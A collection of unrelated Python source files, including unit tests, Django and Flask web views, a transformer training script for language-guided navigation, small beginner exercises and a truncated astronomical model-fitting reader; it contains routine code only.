"""Tests for `yatsm.utils`""" import numpy as np import pytest from yatsm import utils @pytest.mark.parametrize("nrow,njob", [(793, 13), (700, 1), (700, 700)]) def test_distribute_jobs_interlaced(nrow, njob): assigned = [] for i in range(njob): assigned.extend(utils.distribute_jobs(i, njob, nrow, interlaced=True)) assigned = np.sort(np.asarray(assigned)) all_rows = np.arange(0, nrow) np.testing.assert_equal(assigned, all_rows) @pytest.mark.parametrize("nrow,njob", [(793, 13), (700, 1), (700, 700)]) def test_distribute_jobs_sequential(nrow, njob): assigned = [] for i in range(njob): assigned.extend(utils.distribute_jobs(i, njob, nrow, interlaced=False)) assigned = np.sort(np.asarray(assigned)) all_rows = np.arange(0, nrow) np.testing.assert_equal(assigned, all_rows) @pytest.mark.parametrize("nrow,njob", [(700, 1)]) def test_distribute_jobs_sequential_onejob(nrow, njob): with pytest.raises(ValueError): utils.distribute_jobs(nrow, nrow, njob, interlaced=False) # mkdir_p def test_mkdir_p_success(tmpdir): utils.mkdir_p(tmpdir.join("test").strpath) def test_mkdir_p_succcess_exists(tmpdir): utils.mkdir_p(tmpdir.join("test").strpath) utils.mkdir_p(tmpdir.join("test").strpath) def test_mkdir_p_failure_permission(tmpdir): with pytest.raises(OSError): utils.mkdir_p("/asdf") # np_promote_all_types @pytest.mark.parametrize( ("dtypes", "ans"), [ ((np.uint8, np.int16), np.int16), ((np.uint8, np.uint16, np.int16), np.int32), ((np.uint8, np.uint16, np.int16, np.float), np.float), ((np.uint8, np.float16, np.float32, np.float64), np.float64), ], ) def test_np_promote_all_types(dtypes, ans): test_ans = utils.np_promote_all_types(*dtypes) assert test_ans == ans
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6a5a6bdb0740d51426aa8b36dd3cc317103412b1
from rest_framework.views import APIView from django.shortcuts import get_object_or_404 from rest_framework.response import Response from django.contrib.auth import logout from rest_framework import status from rest_framework.authtoken.models import Token from .serilizer import UserSerializer class RegistrationView(APIView): serializer_class = UserSerializer def post(self, request): serilizer = UserSerializer(data=request.data) if serilizer.is_valid(): account = serilizer.save() user_name = serilizer.validated_data["user_name"] data = {"response": "user with username " + str(user_name) + " created"} data["key"] = get_object_or_404(Token, user=account).key return Response(data, status=status.HTTP_201_CREATED) else: return Response(serilizer.errors, status=status.HTTP_400_BAD_REQUEST) class LogoutView(APIView): def get(self, request): logout(request) return Response({"response": "logged out"}, status=status.HTTP_200_OK)
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04aacf9461ade2e229076ffdf85aca913037edad
import json from jsonargparse import ArgumentParser, ActionConfigFile import yaml from typing import List, Dict import glob import os import pathlib import pdb import subprocess import copy from io import StringIO from collections import defaultdict import torch from spacy.tokenizer import Tokenizer from spacy.lang.en import English from einops import rearrange import logging from tqdm import tqdm import matplotlib from matplotlib import pyplot as plt import matplotlib.patches as patches from matplotlib import gridspec import numpy as np import torch.autograd.profiler as profiler from torch.nn import functional as F from torch.optim.lr_scheduler import StepLR from allennlp.training.scheduler import Scheduler from allennlp.training.learning_rate_schedulers import NoamLR import pandas as pd from transformer import TransformerEncoder, ResidualTransformerEncoder, image_to_tiles, tiles_to_image from metrics import MSEMetric, AccuracyMetric, F1Metric from language_embedders import RandomEmbedder, GloveEmbedder, BERTEmbedder from navigation_data import NavigationDatasetReader, NavigationImageTrajectory, configure_parser from train_language_encoder import get_free_gpu, load_data, get_vocab, LanguageTrainer, FlatLanguageTrainer from navigation_transformer import NavigationTransformerEncoder from train_transformer import TransformerTrainer logger = logging.getLogger(__name__) class NavigationTransformerTrainer(TransformerTrainer): def __init__( self, dataset_reader: NavigationDatasetReader, encoder: TransformerEncoder, optimizer: torch.optim.Optimizer, scheduler: Scheduler, num_epochs: int, num_blocks: int, device: torch.device, checkpoint_dir: str, num_models_to_keep: int, generate_after_n: int, resolution: int = 64, patch_size: int = 8, block_size: int = 4, batch_size: int = 16, output_type: str = "per-pixel", checkpoint_every: int = 64, validation_limit: int = 16, depth: int = 7, score_type: str = "acc", best_epoch: int = -1, seed: int = 12, zero_weight: float = 0.05, debug_image_top_k: int = None, debug_image_threshold: float = None, ): super(NavigationTransformerTrainer, self).__init__( train_data=[], val_data=[], encoder=encoder, optimizer=optimizer, scheduler=scheduler, num_epochs=num_epochs, num_blocks=num_blocks, device=device, checkpoint_dir=checkpoint_dir, num_models_to_keep=num_models_to_keep, generate_after_n=generate_after_n, score_type=score_type, patch_size=patch_size, block_size=block_size, output_type=output_type, resolution=resolution, depth=depth, best_epoch=best_epoch, seed=seed, zero_weight=zero_weight, ) self.f1_metric = F1Metric() self.dataset_reader = dataset_reader self.batch_size = batch_size self.checkpoint_every = checkpoint_every self.validation_limit = validation_limit if debug_image_top_k < 0: debug_image_top_k = None if debug_image_threshold < 0: debug_image_threshold = None self.debug_image_top_k = debug_image_top_k self.debug_image_threshold = debug_image_threshold def split_large_batch(self, batch): large_bsz = batch["path_state"].shape[0] small_batches = [] for i in range(0, large_bsz, self.batch_size): small_batch = {} for k in batch.keys(): small_batch[k] = batch[k][i : i + self.batch_size] small_batches.append(small_batch) return small_batches def validate_one_epoch(self, epoch, step, validation_limit): print(f"Validating epoch {epoch} step {step}...") total_prev_acc, total_next_acc = 0.0, 0.0 total = 0 self.encoder.eval() for b, dev_batch_instance in enumerate(self.dataset_reader.read("dev", validation_limit)): actual_batches = self.split_large_batch(dev_batch_instance) for small_batch in actual_batches: score_dict = self.validate(small_batch, epoch, b, 0) total_next_acc += score_dict["next_f1"] total += 1 mean_next_acc = total_next_acc / total return mean_next_acc def evaluate(self): total_acc = 0.0 total = 0 total_block_acc = 0.0 self.encoder.eval() for b, dev_batch_instance in tqdm(enumerate(self.dataset_reader.read("dev", self.validation_limit))): actual_batches = self.split_large_batch(dev_batch_instance) for small_batch in actual_batches: score_dict = self.validate(small_batch, 10, b, 0, self.debug_image_top_k, self.debug_image_threshold) total_acc += score_dict["next_f1"] total += 1 mean_acc = total_acc / total print(f"Test-time pixel acc {mean_acc * 100}") return mean_acc def train_and_validate_one_epoch(self, epoch): print(f"Training epoch {epoch}...") self.encoder.train() skipped = 0 step = 0 for b, batch_instance in enumerate(self.dataset_reader.read("train")): actual_batches = self.split_large_batch(batch_instance) for sb, small_batch in enumerate(actual_batches): is_best = False self.optimizer.zero_grad() outputs = self.encoder(small_batch) # skip bad examples if outputs is None: skipped += 1 continue loss = self.compute_patch_loss(small_batch, outputs, self.next_to_prev_weight) loss.backward() self.optimizer.step() it = (epoch + 1) * (step + 1) self.scheduler.step_batch(it) # print(f"step: {step+1} checkpoint_every: {self.checkpoint_every} {(step +1) % self.checkpoint_every}") if (step + 1) % self.checkpoint_every == 0: step_acc = self.validate_one_epoch(epoch, step, self.validation_limit) print(f"Epoch {epoch} step {step} has next pixel F1 {step_acc * 100:.2f}") if step_acc > self.best_score: is_best = True self.best_score = step_acc self.save_model(f"{epoch}_{step}", is_best) step += 1 print(f"skipped {skipped} examples") epoch_acc = self.validate_one_epoch(epoch, step, 10 * self.validation_limit) print(f"Epoch {epoch} has next pixel F1 {epoch_acc * 100:.2f}") if self.score_type == "acc": return (epoch_acc) / 2, -1.0 else: raise AssertionError(f"invalid score type {self.score_type}") def compute_patch_loss(self, inputs, outputs, next_to_prev_weight=[1.0, 1.0]): """ compute per-patch for each patch """ bsz, w, h, __ = inputs["input_image"].shape pred_next_image = outputs["next_position"] path_state = inputs["path_state"].reshape(bsz, 1, w, h).float() true_next_image = image_to_tiles(path_state, self.patch_size) # binarize patches next_sum_image = torch.sum(true_next_image, dim=2, keepdim=True) next_patches = torch.zeros_like(next_sum_image) # any patch that has a 1 pixel in it gets 1 next_patches[next_sum_image != 0] = 1 pred_next_image = pred_next_image.squeeze(-1) next_patches = next_patches.squeeze(-1).to(self.device).long() pred_next_image = rearrange(pred_next_image, "b n c -> b c n") next_pixel_loss = self.weighted_xent_loss_fxn(pred_next_image, next_patches) total_loss = next_pixel_loss print(f"loss {total_loss.item()}") return total_loss def generate_debugging_image(self, true_img, path_state, pred_path, out_path, caption=None, top_k=None, threshold=None): caption = self.wrap_caption(caption) fig, ax = plt.subplots(2, 2, figsize=(16, 16)) # gs = gridspec.GridSpec(2, 2, width_ratios=[2, 1]) text_ax = ax[0, 1] text_ax.axis([0, 1, 0, 1]) text_ax.text(0.2, 0.02, caption, fontsize=12) text_ax.axis("off") props = dict(boxstyle="round", facecolor="wheat", alpha=0.5) text_ax.text(0.05, 0.95, caption, wrap=True, fontsize=14, verticalalignment="top", bbox=props) # img_ax = plt.subplot(gs[2]) img_ax = ax[1, 0] # w = int(40 * (self.resolution / 224)) true_img = true_img.detach().cpu().numpy().astype(float)[:, :, 0:3] img_ax.imshow(true_img) true_path = path_state.detach().numpy() true_path = np.tile(true_path.reshape(512, 512, 1), (1, 1, 3)).astype(float) true_ax = ax[0, 0] true_ax.imshow(true_path) pred_path = torch.softmax(pred_path, dim=0) pred_path = pred_path[1, :, :] pred_path = pred_path.cpu().detach().numpy().reshape(512, 512, 1) if top_k is not None: top_k_inds = np.argpartition(pred_path, -top_k, axis=None)[-top_k:] top_k_inds = np.unravel_index(top_k_inds, shape=(512, 512)) pred_path[top_k_inds] = 1.1 pred_path[pred_path < 1.0] = 0 pred_path[top_k_inds] = 1.0 elif threshold is not None: pred_path[pred_path < threshold] = 0 else: pred_path = pred_path pred_path = np.tile(pred_path, (1, 1, 3)).astype(float) pred_ax = ax[1, 1] pred_ax.imshow(pred_path) file_path = f"{out_path}.png" print(f"saving to {file_path}") plt.savefig(file_path) plt.close() def validate(self, batch_instance, epoch_num, batch_num, instance_num, top_k, threshold): self.encoder.eval() outputs = self.encoder(batch_instance) next_position = outputs["next_position"] next_position = tiles_to_image(next_position, self.patch_size, output_type="per-patch", upsample=True) # f1 metric next_p, next_r, next_f1 = self.f1_metric.compute_f1(batch_instance["path_state"].unsqueeze(-1), next_position) if epoch_num > self.generate_after_n: for i in range(outputs["next_position"].shape[0]): output_path = self.checkpoint_dir.joinpath(f"batch_{batch_num}").joinpath(f"instance_{i}") output_path.mkdir(parents=True, exist_ok=True) command = batch_instance["command"][i] command = [x for x in command if x != "<PAD>"] command = " ".join(command) image = batch_instance["input_image"][i] path_state = batch_instance["path_state"][i] pred_path = next_position[i] self.generate_debugging_image( image, path_state, pred_path, output_path, caption=command, top_k=top_k, threshold=threshold ) return {"next_f1": next_f1} def compute_f1(self, true_pos, pred_pos): eps = 1e-8 values, pred_pixels = torch.max(pred_pos, dim=1) gold_pixels = true_pos pred_pixels = pred_pixels.unsqueeze(1) pred_pixels = pred_pixels.detach().cpu().float() gold_pixels = gold_pixels.detach().cpu().float() total_pixels = sum(pred_pixels.shape) true_pos = torch.sum(pred_pixels * gold_pixels).item() true_neg = torch.sum((1 - pred_pixels) * (1 - gold_pixels)).item() false_pos = torch.sum(pred_pixels * (1 - gold_pixels)).item() false_neg = torch.sum((1 - pred_pixels) * gold_pixels).item() precision = true_pos / (true_pos + false_pos + eps) recall = true_pos / (true_pos + false_neg + eps) f1 = 2 * (precision * recall) / (precision + recall + eps) return precision, recall, f1 def main(args): device = "cpu" if args.cuda is not None: free_gpu_id = get_free_gpu() if free_gpu_id > -1: device = f"cuda:{free_gpu_id}" # device = "cuda:0" device = torch.device(device) print(f"On device {device}") # test = torch.ones((1)) # test = test.to(device) nlp = English() tokenizer = Tokenizer(nlp.vocab) dataset_reader = NavigationDatasetReader( dir=args.data_dir, out_path=args.out_path, path_width=args.path_width, read_limit=args.read_limit, batch_size=args.batch_size, max_len=args.max_len, tokenizer=tokenizer, shuffle=args.shuffle, overfit=args.overfit, is_bert="bert" in args.embedder, ) checkpoint_dir = pathlib.Path(args.checkpoint_dir) if not checkpoint_dir.exists(): checkpoint_dir.mkdir() if not args.test: with open(dataset_reader.path_dict["train"].joinpath("vocab.json")) as f1: train_vocab = json.load(f1) with open(checkpoint_dir.joinpath("vocab.json"), "w") as f1: json.dump(list(train_vocab), f1) else: print(f"Reading vocab from {checkpoint_dir}") with open(checkpoint_dir.joinpath("vocab.json")) as f1: train_vocab = json.load(f1) print(f"got data") # construct the vocab and tokenizer print(f"constructing model...") # get the embedder from args if args.embedder == "random": embedder = RandomEmbedder(tokenizer, train_vocab, args.embedding_dim, trainable=True) elif args.embedder == "glove": embedder = GloveEmbedder(tokenizer, train_vocab, args.embedding_file, args.embedding_dim, trainable=True) elif args.embedder.startswith("bert"): embedder = BERTEmbedder(model_name=args.embedder, max_seq_len=args.max_len) else: raise NotImplementedError(f"No embedder {args.embedder}") depth = 1 encoder_cls = NavigationTransformerEncoder encoder_kwargs = dict( image_size=args.resolution, patch_size=args.patch_size, language_embedder=embedder, n_layers=args.n_layers, channels=args.channels, n_heads=args.n_heads, hidden_dim=args.hidden_dim, ff_dim=args.ff_dim, dropout=args.dropout, embed_dropout=args.embed_dropout, output_type=args.output_type, positional_encoding_type=args.pos_encoding_type, device=device, log_weights=args.test, locality_mask=args.locality_mask, locality_neighborhood=args.locality_neighborhood, init_scale=args.init_scale, ) # Initialize encoder encoder = encoder_cls(**encoder_kwargs) if args.cuda is not None: encoder = encoder.cuda(device) print(encoder) # construct optimizer optimizer = torch.optim.Adam(encoder.parameters(), lr=args.learn_rate) # scheduler scheduler = NoamLR(optimizer, model_size=args.hidden_dim, warmup_steps=args.warmup, factor=args.lr_factor) best_epoch = -1 block_size = int((args.resolution * 4) / 64) if not args.test: if not args.resume: try: os.mkdir(args.checkpoint_dir) except FileExistsError: # file exists try: assert len(glob.glob(os.path.join(args.checkpoint_dir, "*.th"))) == 0 except AssertionError: raise AssertionError(f"Output directory {args.checkpoint_dir} non-empty, will not overwrite!") else: # resume from pre-trained encoder = encoder.to("cpu") state_dict = torch.load(pathlib.Path(args.checkpoint_dir).joinpath("best.th"), map_location="cpu") encoder.load_state_dict(state_dict, strict=True) encoder = encoder.cuda(device) # get training info best_checkpoint_data = json.load(open(pathlib.Path(args.checkpoint_dir).joinpath("best_training_state.json"))) print(f"best_checkpoint_data {best_checkpoint_data}") best_epoch = best_checkpoint_data["epoch"] # save arg config to checkpoint_dir with open(pathlib.Path(args.checkpoint_dir).joinpath("config.yaml"), "w") as f1: dump_args = copy.deepcopy(args) # drop stuff we can't serialize del dump_args.__dict__["cfg"] del dump_args.__dict__["__cwd__"] del dump_args.__dict__["__path__"] to_dump = dump_args.__dict__ # dump yaml.safe_dump(to_dump, f1, encoding="utf-8", allow_unicode=True) else: # test-time, load best model print(f"loading model weights from {args.checkpoint_dir}") # state_dict = torch.load(pathlib.Path(args.checkpoint_dir).joinpath("best.th")) # encoder.load_state_dict(state_dict, strict=True) encoder = encoder.to("cpu") state_dict = torch.load(pathlib.Path(args.checkpoint_dir).joinpath("best.th"), map_location="cpu") encoder.load_state_dict(state_dict, strict=True) encoder = encoder.cuda(device) num_blocks = 1 # construct trainer trainer = NavigationTransformerTrainer( dataset_reader=dataset_reader, encoder=encoder, optimizer=optimizer, scheduler=scheduler, num_epochs=args.num_epochs, num_blocks=num_blocks, device=device, checkpoint_dir=args.checkpoint_dir, checkpoint_every=args.checkpoint_every, validation_limit=args.validation_limit, num_models_to_keep=args.num_models_to_keep, generate_after_n=args.generate_after_n, score_type=args.score_type, depth=depth, resolution=args.resolution, output_type=args.output_type, patch_size=args.patch_size, block_size=block_size, best_epoch=best_epoch, seed=args.seed, zero_weight=args.zero_weight, debug_image_top_k=args.debug_image_top_k, debug_image_threshold=args.debug_image_threshold, ) if not args.test: trainer.train() else: print(f"evaluating") acc = trainer.evaluate() print(f"accuracy: {acc}") if __name__ == "__main__": np.random.seed(12) torch.manual_seed(12) parser = configure_parser() args = parser.parse_args() main(args)
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38, 39, 40, 4, 10, 11, 12, 13, 16, 21, 23, 4, 6, 16, 20, 26, 30, 40, 4, 10, 11, 12, 13, 22, 25, 31, 36, 4, 6, 10, 14, 20, 23, 28, 33, 4, 7, 12, 13, 18, 21, 24, 26, 32, 34, 8, 14, 17, 19, 26, 31, 34, 35, 44, 45, 51, 52, 57, 58, 63, 64, 73, 74, 77, 78, 84, 88, 89, 93, 94, 4, 9, 14, 15, 20, 23, 26, 28, 29, 33, 35, 8, 14, 17, 19, 21, 25, 30, 33, 34, 43, 44, 50, 51, 56, 57, 62, 63, 72, 73, 77, 78, 83, 84, 93, 94, 97, 98, 104, 108, 109, 113, 114, 4, 9, 14, 15, 20, 23, 24, 34, 36, 40, 43, 8, 14, 17, 19, 21, 23, 25, 29, 32, 33, 38, 39, 43, 44, 48, 49, 54, 57, 58, 62, 63, 66, 67, 70, 71, 75, 76, 79, 80, 83, 84, 4, 9, 10, 8, 14, 34, 35, 36, 37, 39, 45, 48, 50, 54, 55, 60, 63, 66, 4, 10, 12, 13, 14, 4, 12, 13, 16, 18, 29, 40, 47, 4, 12, 13, 19, 21, 26, 27, 8, 14, 15, 19, 20, 24, 25, 35, 36, 8, 14, 15, 19, 20, 24, 25, 30, 31, 35, 36, 8, 17, 18, 23, 26, 27, 32, 35, 36, 8, 10, 11, 17, 18, 22, 23, 24, 25, 31, 32, 8, 17, 18, 22, 23, 31, 32, 8, 10, 11, 16, 17, 21, 22, 23, 24, 29, 30, 8, 15, 16, 19, 20, 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36, 37, 47, 48, 51, 53, 57, 61, 63, 69, 70, 74, 77, 79, 80, 82, 85, 87, 88, 89, 12, 17, 18, 22, 24, 29, 30, 38, 39, 43, 44, 12, 14, 19, 25, 28, 32, 34, 44, 12, 16, 21, 22, 26, 29, 33, 37, 40, 42, 12, 16, 21, 22, 26, 29, 33, 37, 39, 42, 44, 46, 12, 16, 21, 22, 26, 29, 33, 37, 39, 43, 45, 47, 12, 15, 16, 20, 22, 27, 28, 32, 35, 39, 41, 12, 14, 19, 12, 17, 18, 22, 23, 27, 28, 30, 31, 35, 36, 38, 39, 40, 49, 51, 54, 55, 56, 58, 64, 65, 72, 73, 77, 78, 4, 9, 10, 8, 10, 15, 16, 20, 21, 26, 31, 37, 8, 14, 15, 16, 17, 24, 30, 38, 43, 45, 49, 50, 60, 61, 64, 67, 8, 10, 16, 17, 21, 23, 29, 30, 34, 35, 39, 42, 43, 47, 48, 52, 53, 63, 64, 67, 69, 73, 77, 79, 83, 84, 86, 89, 8, 10, 18, 19, 23, 24, 29, 30, 34, 35, 40, 41, 45, 46, 53, 54, 58, 59, 8, 16, 18, 26, 27, 29, 31, 34, 36, 8, 14, 15, 19, 21, 27, 28, 32, 33, 37, 40, 41, 45, 46, 50, 51, 61, 62, 65, 67, 71, 75, 77, 81, 82, 84, 87, 91, 92, 100, 102, 105, 107, 8, 16, 17, 21, 22, 27, 28, 32, 33, 38, 39, 43, 44, 51, 52, 56, 57, 8, 16, 18, 26, 27, 31, 32, 38, 39, 4, 8, 9, 15, 17, 18, 19, 4, 6, 16, 24, 4, 12, 14, 25, 36, 43, 44, 8, 16, 17, 23, 24, 31, 32, 38, 39, 8, 16, 17, 24, 25, 8, 18, 19, 28, 29, 8, 18, 19, 28, 29, 8, 12, 13, 19, 20, 24, 25, 28, 29, 35, 36, 8, 12, 13, 19, 20, 23, 24, 30, 31, 8, 15, 16, 22, 23, 8, 19, 20, 23, 24, 28, 29, 39, 40, 43, 44, 8, 19, 20, 25, 26, 30, 31, 41, 42, 47, 48, 8, 19, 20, 25, 26, 30, 31, 41, 42, 47, 48, 8, 12, 13, 19, 20, 22, 23, 27, 28, 32, 33, 36, 37, 43, 44, 46, 47, 51, 52, 8, 17, 18, 23, 24, 25, 26, 30, 31, 39, 40, 45, 46, 47, 48, 8, 14, 15, 19, 20, 24, 25, 30, 31, 35, 36, 8, 14, 15, 20, 21, 8, 19, 20, 24, 25, 35, 36, 8, 15, 16, 20, 21, 25, 26, 32, 33, 37, 38, 8, 14, 15, 19, 20, 24, 25, 30, 31, 35, 36, 8, 14, 15, 19, 20, 25, 26, 30, 31, 8, 13, 14, 19, 20, 24, 25, 30, 31, 8, 13, 14, 18, 19, 23, 24, 8, 13, 14, 20, 21, 25, 26, 30, 31, 37, 38, 8, 14, 15, 20, 21, 24, 25, 26, 27, 31, 32, 37, 38, 43, 44, 47, 48, 49, 50, 8, 14, 15, 20, 21, 30, 31, 35, 36, 41, 42, 47, 48, 57, 58, 4, 6, 4, 7, 11, 16, 17, 21, 22, 8, 16, 17, 22, 24, 4, 9, 10, 8, 14, 15, 16, 17, 22, 27, 29, 8, 12, 14, 22, 23, 31, 33, 8, 14, 15, 16, 17, 25, 26, 28, 31, 34, 1, 1, 3, 6, 10, 12, 15, 19, 23, 27, 4, 7, 8, 14, 15, 19, 20, 21, 22, 23, 4, 10, 11, 17, 18, 22, 23, 24, 25, 26, 4, 11, 13, 23, 24, 30, 32, 4, 9, 11, 18, 19, 24, 25, 29, 31, 4, 9, 10, 14, 15 ]
104c49941a79948749b27217a0c728f19435f77a
import random x = int(raw_input("Please supply a number: ")) y = int(raw_input("Please supply a second number: ")) z = random.randint(x, y) print(z)
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3605f46da25eb98767ca8d7248beaa07572d3171
processed_lines = [] for line in open("9.in"): if line: processing_pattern = False new_line = "" for idx, char in enumerate(line): pattern_found = False if ( line[idx] == "(" and line[idx + 1].isnumeric() and line[idx + 2] == "x" and line[idx + 3].isnumeric() and line[idx + 4] == ")" ): pattern_found = True num_chars = int(line[idx + 1]) repeat_times = int(line[idx + 3]) else: new_line += char processed_lines.append(new_line)
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e7db3390d30f86e19eee930c48e5f848f41cc579
# take any non-negative and non-zero integer number and name it c0;if it's even, evaluate a new c0 as c0 ÷ 2; # otherwise, if it's odd, evaluate a new c0 as 3 × c0 + 1; # if c0 ≠ 1, skip to point 2. # The hypothesis says that regardless of the initial value of c0,it will always go to 1. # Write a program which reads one natural number and executes the above steps as long as c0 remains different from 1. # We also want you to count the steps needed to achieve the goal. Your code should output all the intermediate values of c0, too. c0 = int(input("Enter a non- negative, non-zero integer: ")) step = 0 while True: if c0 % 2 == 0: c0 //= 2 if c0 != 1: step += 1 print(" New value is ", c0, ":", "step", step) continue elif c0 == 1: step += 1 print(" New value is ", c0, ":", "step", step) break elif c0 % 2 == 1: c0 = c0 * 3 + 1 if c0 != 1: step += 1 print(" New value is ", c0, ":", "step", step) continue elif c0 == 1: step += 1 print(" New value is ", c0, ":", "step:", step) break print("Total Steps: ", step)
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c455de70a79f70f5f0e21391511f5035f1b4feb9
"Base class for tests." import argparse import http.client import json import os import re import sys import unittest import jsonschema import requests SCHEMA_LINK_RX = re.compile(r'<([^>])+>; rel="([^"]+)') JSON_MIMETYPE = "application/json" DEFAULT_SETTINGS = { "ROOT_URL": "http://127.0.0.1:5002/api", "USERNAME": None, # Needs to be set! Must have admin privileges. "APIKEY": None, # Needs to be set! For the above user. } # The actual settings to use. SETTINGS = {} def process_args(filepath=None): """Process command-line arguments for this test suite. Reset the settings and read the given settings file. Return the unused arguments. """ if filepath is None: parser = argparse.ArgumentParser() parser.add_argument("-S", "--settings", dest="settings", metavar="FILE", default="settings.json", help="Settings file") parser.add_argument("unittest_args", nargs="*") options, args = parser.parse_known_args() filepath = options.settings args = [sys.argv[0]] + args else: args = sys.argv SETTINGS.update(DEFAULT_SETTINGS) with open(filepath) as infile: SETTINGS.update(json.load(infile)) assert SETTINGS["USERNAME"] assert SETTINGS["APIKEY"] return args def run(): unittest.main(argv=process_args()) class Base(unittest.TestCase): "Base class for Symbasis test cases." def setUp(self): self.schemas = {} self.session = requests.Session() self.session.headers.update({"x-apikey": SETTINGS["APIKEY"]}) self.addCleanup(self.close_session) def close_session(self): self.session.close() @property def root(self): "Return the API root data." try: return self._root except AttributeError: response = self.GET(SETTINGS["ROOT_URL"]) self.assertEqual(response.status_code, http.client.OK) self._root = self.check_schema(response) return self._root def GET(self, url): return self.session.get(url) def POST(self, url, json=None): return self.session.post(url, json=json) def PUT(self, url): return self.session.put(url) def DELETE(self, url): return self.session.delete(url) def check_schema(self, response): """Check that the response JSON data matches the schema linked to in the response header. Return the response JSON. """ self.assertEqual(response.status_code, http.client.OK) result = response.json() url = response.links["schema"]["url"] try: schema = self.schemas[url] except KeyError: r = self.GET(url) self.assertEqual(r.status_code, http.client.OK) schema = r.json() self.schemas[url] = schema self.validate_schema(result, schema) return result def validate_schema(self, instance, schema): "Validate the JSON instance versus the given JSON schema." jsonschema.validate(instance=instance, schema=schema, format_checker=jsonschema.draft7_format_checker)
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630480e9458491a26ea9060bd36541a0d5805a11
import urllib.request import json def kind(): data = {} with open("dataset.json", "r") as read_file: data = json.load(read_file) return data["kind"] def items(): data = {} with open("dataset.json", "r") as read_file: data = json.load(read_file) return data["items"] # Can add a bunch of other things after refering to data
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016b64a2eb4af3034d54272c878fb917506d330c
from import_export.admin import ImportExportMixin from django.contrib import admin from import_export import resources, widgets, fields from .models import Addgroup, Addsystemname, Zhuanzhebushi, Yewuzerenbumen, czyylx, Zhuanze, Data from import_export import fields, resources from import_export.widgets import ForeignKeyWidget # Register your models here. class DataResource(resources.ModelResource): groupname = fields.Field(widget=widgets.ForeignKeyWidget(Addgroup, "name")) system_name = fields.Field( column_name="system_name", attribute="system_name", widget=widgets.ForeignKeyWidget(Addsystemname, "name") ) I6000 = fields.Field(column_name="I6000", attribute="I6000") class Meta: fields = ("groupname", "system_name", "I6000") class DataAdmin(ImportExportMixin, admin.ModelAdmin): list_display = [ "groupname", "system_name", "I6000", "xtjslx", "bslx", "ywbs", "ywzrbs", "yunxingzhuangtai", "url", "xtsxsj", "xtxxsj", "ip", "xunijiqunip", "date", ] resources_class = DataResource admin.site.register(Data, DataAdmin)
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cddb16a305f74eb1a3f2854208f8508c4a7a8953
import datetime from flask import request from flask_babel import _ from markupsafe import escape from app import app from app.data_access.audit_log_controller import create_audit_log_confirmation_entry from app.data_access.user_controller import user_exists, create_user from app.data_access.user_controller_errors import UserAlreadyExistsError from app.elster_client import elster_client from app.elster_client.elster_errors import ElsterProcessNotSuccessful from app.forms.flows.multistep_flow import MultiStepFlow from app.forms.steps.unlock_code_request_steps import ( UnlockCodeRequestInputStep, UnlockCodeRequestSuccessStep, UnlockCodeRequestFailureStep, ) class UnlockCodeRequestMultiStepFlow(MultiStepFlow): _DEBUG_DATA = ( UnlockCodeRequestInputStep, { "idnr": "04452397687", "dob": datetime.date(1985, 1, 1), "registration_confirm_data_privacy": True, "registration_confirm_terms_of_service": True, "registration_confirm_incomes": True, "registration_confirm_e_data": True, }, ) def __init__(self, endpoint): super(UnlockCodeRequestMultiStepFlow, self).__init__( title=_("form.auth-request.title"), steps=[UnlockCodeRequestInputStep, UnlockCodeRequestFailureStep, UnlockCodeRequestSuccessStep], endpoint=endpoint, ) # TODO: Use inheritance to clean up this method def _handle_specifics_for_step(self, step, render_info, stored_data): render_info, stored_data = super(UnlockCodeRequestMultiStepFlow, self)._handle_specifics_for_step( step, render_info, stored_data ) if isinstance(step, UnlockCodeRequestInputStep): render_info.additional_info["next_button_label"] = _("form.register") if request.method == "POST" and render_info.form.validate(): create_audit_log_confirmation_entry( "Confirmed registration data privacy", request.remote_addr, stored_data["idnr"], "registration_confirm_data_privacy", stored_data["registration_confirm_data_privacy"], ) create_audit_log_confirmation_entry( "Confirmed registration terms of service", request.remote_addr, stored_data["idnr"], "registration_confirm_terms_of_service", stored_data["registration_confirm_terms_of_service"], ) create_audit_log_confirmation_entry( "Confirmed registration incomes", request.remote_addr, stored_data["idnr"], "registration_confirm_incomes", stored_data["registration_confirm_incomes"], ) create_audit_log_confirmation_entry( "Confirmed registration edata", request.remote_addr, stored_data["idnr"], "registration_confirm_e_data", stored_data["registration_confirm_e_data"], ) try: self._register_user(stored_data) # prevent going to failure page as in normal flow render_info.next_url = self.url_for_step(UnlockCodeRequestSuccessStep.name) except (UserAlreadyExistsError, ElsterProcessNotSuccessful): app.logger.info("Could not request unlock code for user", exc_info=True) pass # go to failure step elif isinstance(step, UnlockCodeRequestFailureStep): render_info.next_url = None elif isinstance(step, UnlockCodeRequestSuccessStep): render_info.prev_url = self.url_for_step(UnlockCodeRequestInputStep.name) return render_info, stored_data @staticmethod def _register_user(request_form): """ This method requests an unlock code with Elster for not registered users. If successful the users will be registered. :param request_form: The form attribute of the request. It should contain an idnr and a dob element. """ idnr = request_form["idnr"] if user_exists(idnr): raise UserAlreadyExistsError(idnr) response = elster_client.send_unlock_code_request_with_elster(request_form, request.remote_addr) request_id = escape(response["elster_request_id"]) create_user(idnr, request_form["dob"].strftime("%d.%m.%Y"), request_id)
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219b22b6ad685fc316b1df02cc924a1cfec89f5b
from lmfit import Parameters import numpy as np from cls.cls import * from reading.ellipseOutput import readEllipseOutput def readInputModel(txt, equivalentAxisFit, Settings): psfwing_02pxscale_datatab = None psfwing_logscale_datatab = None componentslist = [] params = Parameters() data = open(txt) for line in data: if line[0] != "#": comp = Component() comp.number = int(line.split()[0]) comp.name = str(line.split()[1]) # components with 4 parameters if comp.name == "ferrer": par1name = "par1_" + str(line.split()[0]) par2name = "par2_" + str(line.split()[0]) par3name = "par3_" + str(line.split()[0]) par4name = "par4_" + str(line.split()[0]) p1 = (par1name, float(line.split()[2]), True, 0.01, None, None) # r_out if line.split()[3] == "False": p1 = (par1name, float(line.split()[2]), False, 0.01, None, None) p2 = (par2name, float(line.split()[4]), True, None, 35.0, None) # mu_0 if line.split()[5] == "False": p2 = (par2name, float(line.split()[4]), False, None, 35.0, None) p3 = (par3name, float(line.split()[6]), True, 0.01, 4.0, None) # alpha if line.split()[7] == "False": p3 = (par3name, float(line.split()[6]), False, 0.01, 4.0, None) p4 = (par4name, float(line.split()[8]), True, 0.01, 1.999, None) # beta if line.split()[9] == "False": p4 = (par4name, float(line.split()[8]), False, 0.01, 1.999, None) comp.parameters.add_many(p1, p2, p3, p4) params.add_many(p1, p2, p3, p4) componentslist.append(comp) if comp.name == "tsersic": par1name = "par1_" + str(line.split()[0]) par2name = "par2_" + str(line.split()[0]) par3name = "par3_" + str(line.split()[0]) par4name = "par4_" + str(line.split()[0]) p1 = 